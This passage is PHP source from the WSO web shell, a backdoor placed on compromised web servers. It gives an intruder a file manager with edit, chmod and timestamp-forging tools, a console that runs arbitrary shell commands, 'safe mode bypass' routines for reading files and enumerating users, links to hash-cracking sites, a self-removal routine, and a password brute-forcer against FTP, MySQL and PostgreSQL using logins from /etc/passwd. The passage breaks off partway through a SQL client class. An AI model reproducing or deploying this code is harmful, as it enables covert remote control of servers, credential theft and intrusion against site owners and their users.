2195 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
2196
2197 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
2198
2199 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
2200
2201 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
2202
2203 );
2204
2205 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
2206
2207 $files[] = array_merge($tmp, array('type' => 'file'));
2208
2209 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
2210
2211 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
2212
2213 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
2214
2215 $dirs[] = array_merge($tmp, array('type' => 'dir'));
2216
2217 }
2218
2219 $GLOBALS['sort'] = $sort;
2220
2221 function wsoCmp($a, $b) {
2222
2223 if($GLOBALS['sort'][0] != 'size')
2224
2225 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
2226
2227 else
2228
2229 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
2230
2231 }
2232
2233 usort($files, "wsoCmp");
2234
2235 usort($dirs, "wsoCmp");
2236
2237 $files = array_merge($dirs, $files);
2238
2239 $l = 0;
2240
2241 foreach($files as $f) {
2242
2243 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
2244
2245 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
2246
2247 $l = $l?0:1;
2248
2249 }
2250
2251 echo "<tr><td colspan=7>
2252
2253
2254
2255 <input type=hidden name=a value='FilesMan'>
2256
2257 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
2258
2259 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
2260
2261 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
2262
2263 if(class_exists('ZipArchive'))
2264
2265 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
2266
2267 echo "<option value='tar'>Compress (tar.gz)</option>";
2268
2269 if(!empty($_SESSION['act']) && @count($_SESSION['f']))
2270
2271 echo "<option value='paste'>Paste / Compress</option>";
2272
2273 echo "</select> ";
2274
2275 if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
2276
2277 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'> ";
2278
2279 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
2280
2281 wsoFooter();
2282
2283}
2284
2285
2286
2287function actionStringTools() {
2288
2289 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
2290
2291 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
2292
2293 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
2294
2295 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
2296
2297 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
2298
2299 $stringTools = array(
2300
2301 'Base64 encode' => 'base64_encode',
2302
2303 'Base64 decode' => 'base64_decode',
2304
2305 'Url encode' => 'urlencode',
2306
2307 'Url decode' => 'urldecode',
2308
2309 'Full urlencode' => 'full_urlencode',
2310
2311 'md5 hash' => 'md5',
2312
2313 'sha1 hash' => 'sha1',
2314
2315 'crypt' => 'crypt',
2316
2317 'CRC32' => 'crc32',
2318
2319 'ASCII to HEX' => 'ascii2hex',
2320
2321 'HEX to ASCII' => 'hex2ascii',
2322
2323 'HEX to DEC' => 'hexdec',
2324
2325 'HEX to BIN' => 'hex2bin',
2326
2327 'DEC to HEX' => 'dechex',
2328
2329 'DEC to BIN' => 'decbin',
2330
2331 'BIN to HEX' => 'binhex',
2332
2333 'BIN to DEC' => 'bindec',
2334
2335 'String to lower case' => 'strtolower',
2336
2337 'String to upper case' => 'strtoupper',
2338
2339 'Htmlspecialchars' => 'htmlspecialchars',
2340
2341 'String length' => 'strlen',
2342
2343 );
2344
2345 if(isset($_POST['ajax'])) {
2346
2347 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
2348
2349 ob_start();
2350
2351 if(in_array($_POST['p1'], $stringTools))
2352
2353 echo $_POST['p1']($_POST['p2']);
2354
2355 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
2356
2357 echo strlen($temp), "\n", $temp;
2358
2359 exit;
2360
2361 }
2362
2363 wsoHeader();
2364
2365 echo '<h1>String conversions</h1><div class=content>';
2366
2367 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
2368
2369 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
2370
2371 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
2372
2373 foreach($stringTools as $k => $v)
2374
2375 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
2376
2377 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
2378
2379 if(!empty($_POST['p1'])) {
2380
2381 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
2382
2383 }
2384
2385 echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
2386
2387
2388
2389 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
2390
2391 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
2392
2393 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
2394
2395 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
2396
2397 <tr><td></td><td><input type='submit' value='>>'></td></tr>
2398
2399 </table></form>";
2400
2401
2402
2403 function wsoRecursiveGlob($path) {
2404
2405 if(substr($path, -1) != '/')
2406
2407 $path.='/';
2408
2409 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
2410
2411 if(is_array($paths)&&@count($paths)) {
2412
2413 foreach($paths as $item) {
2414
2415 if(@is_dir($item)){
2416
2417 if($path!=$item)
2418
2419 wsoRecursiveGlob($item);
2420
2421 } else {
2422
2423 if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
2424
2425 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
2426
2427 }
2428
2429 }
2430
2431 }
2432
2433 }
2434
2435 if(@$_POST['p3'])
2436
2437 wsoRecursiveGlob($_POST['c']);
2438
2439 echo "</div><br><h1>Search for hash:</h1><div class=content>
2440
2441
2442
2443 <form method='post' target='_blank' name='hf'>
2444
2445 <input type='text' name='hash' style='width:200px;'><br>
2446
2447 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
2448
2449 <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
2450
2451 <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
2452
2453 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
2454
2455 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
2456
2457 </form></div>";
2458
2459 wsoFooter();
2460
2461}
2462
2463
2464
2465function actionFilesTools() {
2466
2467 if( isset($_POST['p1']) )
2468
2469 $_POST['p1'] = urldecode($_POST['p1']);
2470
2471 if(@$_POST['p2']=='download') {
2472
2473 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
2474
2475 ob_start("ob_gzhandler", 4096);
2476
2477 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
2478
2479 if (function_exists("mime_content_type")) {
2480
2481 $type = @mime_content_type($_POST['p1']);
2482
2483 header("Content-Type: " . $type);
2484
2485 } else
2486
2487 header("Content-Type: application/octet-stream");
2488
2489 $fp = @fopen($_POST['p1'], "r");
2490
2491 if($fp) {
2492
2493 while(!@feof($fp))
2494
2495 echo @fread($fp, 1024);
2496
2497 fclose($fp);
2498
2499 }
2500
2501 }exit;
2502
2503 }
2504
2505 if( @$_POST['p2'] == 'mkfile' ) {
2506
2507 if(!file_exists($_POST['p1'])) {
2508
2509 $fp = @fopen($_POST['p1'], 'w');
2510
2511 if($fp) {
2512
2513 $_POST['p2'] = "edit";
2514
2515 fclose($fp);
2516
2517 }
2518
2519 }
2520
2521 }
2522
2523 wsoHeader();
2524
2525 echo '<h1>File tools</h1><div class=content>';
2526
2527 if( !file_exists(@$_POST['p1']) ) {
2528
2529 echo 'File not exists';
2530
2531 wsoFooter();
2532
2533 return;
2534
2535 }
2536
2537 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
2538
2539 if(!$uid) {
2540
2541 $uid['name'] = @fileowner($_POST['p1']);
2542
2543 $gid['name'] = @filegroup($_POST['p1']);
2544
2545 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
2546
2547 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
2548
2549 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
2550
2551 if( empty($_POST['p2']) )
2552
2553 $_POST['p2'] = 'view';
2554
2555 if( is_file($_POST['p1']) )
2556
2557 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
2558
2559 else
2560
2561 $m = array('Chmod', 'Rename', 'Touch');
2562
2563 foreach($m as $v)
2564
2565 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
2566
2567 echo '<br><br>';
2568
2569 switch($_POST['p2']) {
2570
2571 case 'view':
2572
2573 echo '<pre class=ml1>';
2574
2575 $fp = @fopen($_POST['p1'], 'r');
2576
2577 if($fp) {
2578
2579 while( !@feof($fp) )
2580
2581 echo htmlspecialchars(@fread($fp, 1024));
2582
2583 @fclose($fp);
2584
2585 }
2586
2587 echo '</pre>';
2588
2589 break;
2590
2591 case 'highlight':
2592
2593 if( @is_readable($_POST['p1']) ) {
2594
2595 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
2596
2597 $code = @highlight_file($_POST['p1'],true);
2598
2599 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
2600
2601 }
2602
2603 break;
2604
2605 case 'chmod':
2606
2607 if( !empty($_POST['p3']) ) {
2608
2609 $perms = 0;
2610
2611 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
2612
2613 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
2614
2615 if(!@chmod($_POST['p1'], $perms))
2616
2617 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
2618
2619 }
2620
2621 clearstatcache();
2622
2623 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
2624
2625 break;
2626
2627 case 'edit':
2628
2629 if( !is_writable($_POST['p1'])) {
2630
2631 echo 'File isn\'t writeable';
2632
2633 break;
2634
2635 }
2636
2637 if( !empty($_POST['p3']) ) {
2638
2639 $time = @filemtime($_POST['p1']);
2640
2641 $_POST['p3'] = substr($_POST['p3'],1);
2642
2643 $fp = @fopen($_POST['p1'],"w");
2644
2645 if($fp) {
2646
2647 @fwrite($fp,$_POST['p3']);
2648
2649 @fclose($fp);
2650
2651 echo 'Saved!<br><script>p3_="";</script>';
2652
2653 @touch($_POST['p1'],$time,$time);
2654
2655 }
2656
2657 }
2658
2659 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
2660
2661 $fp = @fopen($_POST['p1'], 'r');
2662
2663 if($fp) {
2664
2665 while( !@feof($fp) )
2666
2667 echo htmlspecialchars(@fread($fp, 1024));
2668
2669 @fclose($fp);
2670
2671 }
2672
2673 echo '</textarea><input type=submit value=">>"></form>';
2674
2675 break;
2676
2677 case 'hexdump':
2678
2679 $c = @file_get_contents($_POST['p1']);
2680
2681 $n = 0;
2682
2683 $h = array('00000000<br>','','');
2684
2685 $len = strlen($c);
2686
2687 for ($i=0; $i<$len; ++$i) {
2688
2689 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
2690
2691 switch ( ord($c[$i]) ) {
2692
2693 case 0: $h[2] .= ' '; break;
2694
2695 case 9: $h[2] .= ' '; break;
2696
2697 case 10: $h[2] .= ' '; break;
2698
2699 case 13: $h[2] .= ' '; break;
2700
2701 default: $h[2] .= $c[$i]; break;
2702
2703 }
2704
2705 $n++;
2706
2707 if ($n == 32) {
2708
2709 $n = 0;
2710
2711 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
2712
2713 $h[1] .= '<br>';
2714
2715 $h[2] .= "\n";
2716
2717 }
2718
2719 }
2720
2721 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
2722
2723 break;
2724
2725 case 'rename':
2726
2727 if( !empty($_POST['p3']) ) {
2728
2729 if(!@rename($_POST['p1'], $_POST['p3']))
2730
2731 echo 'Can\'t rename!<br>';
2732
2733 else
2734
2735 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
2736
2737 }
2738
2739 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
2740
2741 break;
2742
2743 case 'touch':
2744
2745 if( !empty($_POST['p3']) ) {
2746
2747 $time = strtotime($_POST['p3']);
2748
2749 if($time) {
2750
2751 if(!touch($_POST['p1'],$time,$time))
2752
2753 echo 'Fail!';
2754
2755 else
2756
2757 echo 'Touched!';
2758
2759 } else echo 'Bad time format!';
2760
2761 }
2762
2763 clearstatcache();
2764
2765 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
2766
2767 break;
2768
2769 }
2770
2771 echo '</div>';
2772
2773 wsoFooter();
2774
2775}
2776
2777
2778
2779function actionSafeMode() {
2780
2781 $temp='';
2782
2783 ob_start();
2784
2785 switch($_POST['p1']) {
2786
2787 case 1:
2788
2789 $temp=@tempnam($test, 'cx');
2790
2791 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
2792
2793 echo @file_get_contents($temp);
2794
2795 unlink($temp);
2796
2797 } else
2798
2799 echo 'Sorry... Can\'t open file';
2800
2801 break;
2802
2803 case 2:
2804
2805 $files = glob($_POST['p2'].'*');
2806
2807 if( is_array($files) )
2808
2809 foreach ($files as $filename)
2810
2811 echo $filename."\n";
2812
2813 break;
2814
2815 case 3:
2816
2817 $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
2818
2819 curl_exec($ch);
2820
2821 break;
2822
2823 case 4:
2824
2825 ini_restore("safe_mode");
2826
2827 ini_restore("open_basedir");
2828
2829 include($_POST['p2']);
2830
2831 break;
2832
2833 case 5:
2834
2835 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
2836
2837 $uid = @posix_getpwuid($_POST['p2']);
2838
2839 if ($uid)
2840
2841 echo join(':',$uid)."\n";
2842
2843 }
2844
2845 break;
2846
2847 }
2848
2849 $temp = ob_get_clean();
2850
2851 wsoHeader();
2852
2853 echo '<h1>Safe mode bypass</h1><div class=content>';
2854
2855 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
2856
2857 if($temp)
2858
2859 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
2860
2861 echo '</div>';
2862
2863 wsoFooter();
2864
2865}
2866
2867
2868
2869function actionConsole() {
2870
2871 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
2872
2873 $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
2874
2875 $_POST['p1'] .= ' 2>&1';
2876
2877 } elseif(!empty($_POST['p1']))
2878
2879 $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
2880
2881
2882
2883 if(isset($_POST['ajax'])) {
2884
2885 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
2886
2887 ob_start();
2888
2889 echo "d.cf.cmd.value='';\n";
2890
2891 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
2892
2893 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
2894
2895 if(@chdir($match[1])) {
2896
2897 $GLOBALS['cwd'] = @getcwd();
2898
2899 echo "c_='".$GLOBALS['cwd']."';";
2900
2901 }
2902
2903 }
2904
2905 echo "d.cf.output.value+='".$temp."';";
2906
2907 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
2908
2909 $temp = ob_get_clean();
2910
2911 echo strlen($temp), "\n", $temp;
2912
2913 exit;
2914
2915 }
2916
2917 wsoHeader();
2918
2919 echo "<script>
2920
2921if(window.Event) window.captureEvents(Event.KEYDOWN);
2922
2923var cmds = new Array('');
2924
2925var cur = 0;
2926
2927function kp(e) {
2928
2929 var n = (window.Event) ? e.which : e.keyCode;
2930
2931 if(n == 38) {
2932
2933 cur--;
2934
2935 if(cur>=0)
2936
2937 document.cf.cmd.value = cmds[cur];
2938
2939 else
2940
2941 cur++;
2942
2943 } else if(n == 40) {
2944
2945 cur++;
2946
2947 if(cur < cmds.length)
2948
2949 document.cf.cmd.value = cmds[cur];
2950
2951 else
2952
2953 cur--;
2954
2955 }
2956
2957}
2958
2959function add(cmd) {
2960
2961 cmds.pop();
2962
2963 cmds.push(cmd);
2964
2965 cmds.push('');
2966
2967 cur = cmds.length-1;
2968
2969}
2970
2971
2972
2973</script>";
2974
2975 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
2976
2977 foreach($GLOBALS['aliases'] as $n => $v) {
2978
2979 if($v == '') {
2980
2981 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
2982
2983 continue;
2984
2985 }
2986
2987 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
2988
2989 }
2990
2991 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
2992
2993 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
2994
2995 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
2996
2997 if(!empty($_POST['p1'])) {
2998
2999 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
3000
3001 }
3002
3003 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
3004
3005 echo '</form></div><script>d.cf.cmd.focus();</script>';
3006
3007 wsoFooter();
3008
3009}
3010
3011
3012
3013function actionLogout() {
3014
3015 session_destroy();
3016
3017 die('bye!');
3018
3019}
3020
3021
3022
3023function actionSelfRemove() {
3024
3025
3026
3027 if($_POST['p1'] == 'yes')
3028
3029 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
3030
3031 die('Shell has been removed');
3032
3033 else
3034
3035 echo 'unlink error!';
3036
3037 if($_POST['p1'] != 'yes')
3038
3039 wsoHeader();
3040
3041 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
3042
3043 wsoFooter();
3044
3045}
3046
3047
3048
3049function actionBruteforce() {
3050
3051 wsoHeader();
3052
3053 if( isset($_POST['proto']) ) {
3054
3055 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
3056
3057 if( $_POST['proto'] == 'ftp' ) {
3058
3059 function bruteForce($ip,$port,$login,$pass) {
3060
3061 $fp = @ftp_connect($ip, $port?$port:21);
3062
3063 if(!$fp) return false;
3064
3065 $res = @ftp_login($fp, $login, $pass);
3066
3067 @ftp_close($fp);
3068
3069 return $res;
3070
3071 }
3072
3073 } elseif( $_POST['proto'] == 'mysql' ) {
3074
3075 function bruteForce($ip,$port,$login,$pass) {
3076
3077 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
3078
3079 @mysql_close($res);
3080
3081 return $res;
3082
3083 }
3084
3085 } elseif( $_POST['proto'] == 'pgsql' ) {
3086
3087 function bruteForce($ip,$port,$login,$pass) {
3088
3089 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
3090
3091 $res = @pg_connect($str);
3092
3093 @pg_close($res);
3094
3095 return $res;
3096
3097 }
3098
3099 }
3100
3101 $success = 0;
3102
3103 $attempts = 0;
3104
3105 $server = explode(":", $_POST['server']);
3106
3107 if($_POST['type'] == 1) {
3108
3109 $temp = @file('/etc/passwd');
3110
3111 if( is_array($temp) )
3112
3113 foreach($temp as $line) {
3114
3115 $line = explode(":", $line);
3116
3117 ++$attempts;
3118
3119 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
3120
3121 $success++;
3122
3123 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
3124
3125 }
3126
3127 if(@$_POST['reverse']) {
3128
3129 $tmp = "";
3130
3131 for($i=strlen($line[0])-1; $i>=0; --$i)
3132
3133 $tmp .= $line[0][$i];
3134
3135 ++$attempts;
3136
3137 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
3138
3139 $success++;
3140
3141 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
3142
3143 }
3144
3145 }
3146
3147 }
3148
3149 } elseif($_POST['type'] == 2) {
3150
3151 $temp = @file($_POST['dict']);
3152
3153 if( is_array($temp) )
3154
3155 foreach($temp as $line) {
3156
3157 $line = trim($line);
3158
3159 ++$attempts;
3160
3161 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
3162
3163 $success++;
3164
3165 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
3166
3167 }
3168
3169 }
3170
3171 }
3172
3173 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
3174
3175 }
3176
3177 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
3178
3179 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
3180
3181 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
3182
3183 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
3184
3185 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
3186
3187 .'<span>Server:port</span></td>'
3188
3189 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
3190
3191 .'<tr><td><span>Brute type</span></td>'
3192
3193 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
3194
3195 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
3196
3197 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
3198
3199 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
3200
3201 .'<td><input type=text name=login value="root"></td></tr>'
3202
3203 .'<tr><td><span>Dictionary</span></td>'
3204
3205 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
3206
3207 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
3208
3209 echo '</div><br>';
3210
3211 wsoFooter();
3212
3213}
3214
3215
3216
3217function actionSql() {
3218
3219 class DbClass {
3220
3221 var $type;
3222
3223 var $link;
3224
3225 var $res;
3226
3227 function DbClass($type) {
3228
3229 $this->type = $type;
3230
3231 }
3232
3233 function connect($host, $user, $pass, $dbname){
3234
3235 switch($this->type) {
3236
3237 case 'mysql':
3238
3239 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
3240
3241 break;
3242
3243 case 'pgsql':
3244
3245 $host = explode(':', $host);
3246
3247 if(!$host[1]) $host[1]=5432;
3248
3249 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
3250
3251 break;
3252
3253 }
3254
3255 return false;
3256
3257 }
3258
3259 function selectdb($db) {
3260
3261 switch($this->type) {
3262
3263 case 'mysql':
3264
3265 if (@mysql_select_db($db))return true;
3266
3267 break;
3268
3269 }
3270
3271 return false;
3272
3273 }
3274
3275 function query($str) {
3276
3277 switch($this->type) {
3278
3279 case 'mysql':
3280
3281 return $this->res = @mysql_query($str);
3282
3283 break;
3284
3285 case 'pgsql':
